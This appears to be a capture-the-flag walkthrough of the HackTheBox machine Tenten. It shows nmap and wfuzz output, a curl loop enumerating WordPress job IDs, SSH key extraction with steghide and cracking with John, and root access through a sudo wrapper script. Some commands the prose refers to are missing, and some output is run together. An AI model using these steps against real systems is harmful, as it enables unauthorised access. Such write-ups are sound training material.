Tenten is an medium-rated Linux machine from HackTheBox created by ch4p. In the current post, my IP is 10.10.14.3, and the target’s IP is 10.10.10.10
This machine is quite interesting at the beginning, but as you progress, it has several sections that are counterintuitive. Firstly, you have to do reconnaissance to obtain the keywords and the WordPress plugins that the website has. With that information, you have to write a script to brute-force the website and obtain the key file, which of course is encrypted. Here, Steghide and John are used. Once achieved, you can access the machine; the privilege escalation is comical.
Recon
Local Terminal
> ping -c 1 10.10.10.10PING10.10.10.10 (10.10.10.10) 56(84) bytes of data.64bytesfrom10.10.10.10:icmp_seq=1ttl=63time=158ms---10.10.10.10pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=157.963/157.963/157.963/0.000ms
The machine is alive, and by the TTL (close but no more than 64), it is possible to think that the target is a Linux Machine.
StartingNmap7.80(https://nmap.org ) at 2023-09-12 13:40 -03Nmapscanreportfor10.10.10.10Hostisup (0.15slatency).Notshown:65533filteredportsPORTSTATESERVICE22/tcpopenssh80/tcpopenhttp
There are two open ports. First the port 22 with ssh, if you search about "OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 launchpad", we can see that the target is an "Ubuntu Xenial". And about the port 80, the web page, if you search "Apache httpd 2.4.18 launchpad", it confirms that is an Ubuntu Xenial.
Both are the same, so there is a significant reduced chance to find a Docker Container here.
The port 80 have a redirect, add the IP to the /etc/hosts and launch another nmap scan.
"Allow attackers to perform otherwise restricted actions and subsequently enumerate and access the uploaded CV files by performing a bruteforce attack on the WordPress upload directory structure." So we can create an script to explore the upload folder by using the Wordpress structure.
This part of the machine is weird, the previously found name is the correct one, is a kind of non intuitive, but if you want to reflect this in a real life situation, you can use a wordlist or Cewl to get a wordlist from the most common words of the website, increasing the chances of finding something.
Now download the file.
HackerAccessGranted.jpg... nothing.
Reverse Shell - Decrypting
This is another non-intuitive part, here we have to explore the file thought decryption methods.
Perfect, for some reason the Id_rsa is inside...
Aaaand it's encrypted... nice. Here you can use john or another tool.
[+] superpassword
Finally, we have the password, now try to login as takis
Privileges Escalation
Group lxd, this one has a lot of vulnerabilities.
Or you can continue your recon and find something really interesting.
Or you can change to root by using... that simple bash command.
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000003: 200 395 L 3982 W 57633 Ch "2"
000000007: 200 395 L 3982 W 57644 Ch "6"
000000014: 200 395 L 3979 W 57685 Ch "13"
000000010: 200 395 L 3977 W 57589 Ch "9"
000000011: 200 395 L 3979 W 57639 Ch "10"
000000009: 200 395 L 3982 W 57634 Ch "8"
000000013: 200 395 L 3979 W 57641 Ch "12"
000000012: 200 395 L 3979 W 57623 Ch "11"
000000006: 200 395 L 3982 W 57629 Ch "5"
000000008: 200 395 L 3979 W 57626 Ch "7"
000000002: 200 395 L 3982 W 57636 Ch "1"
000000004: 200 395 L 3982 W 57618 Ch "3"
Alternative by S4vitar
for i in $(seq 1 100); do echo "[+] Para el numero $i: $(curl -s -X GET "http://tenten.htb/index.php/jobs/apply/$i/" | html2text | grep "Job Application" | awk '{print $2}' FS=":" | sed 's/*^ *//')"; done
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000468: 200 0 L 0 W 0 Ch "wp-content/plugins/akismet/"
000004593: 500 0 L 0 W 0 Ch "wp-content/plugins/hello.php/"
000004592: 500 0 L 0 W 0 Ch "wp-content/plugins/hello.php"
000005242: 403 11 L 32 W 316 Ch "wp-content/plugins/job-manager/"
takis@tenten:~$ sudo -l
Matching Defaults entries for takis on tenten:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User takis may run the following commands on tenten:
(ALL : ALL) ALL
(ALL) NOPASSWD: /bin/fuckin
> cat /bin/fuckin
#!/bin/bash
$1 $2 $3 $4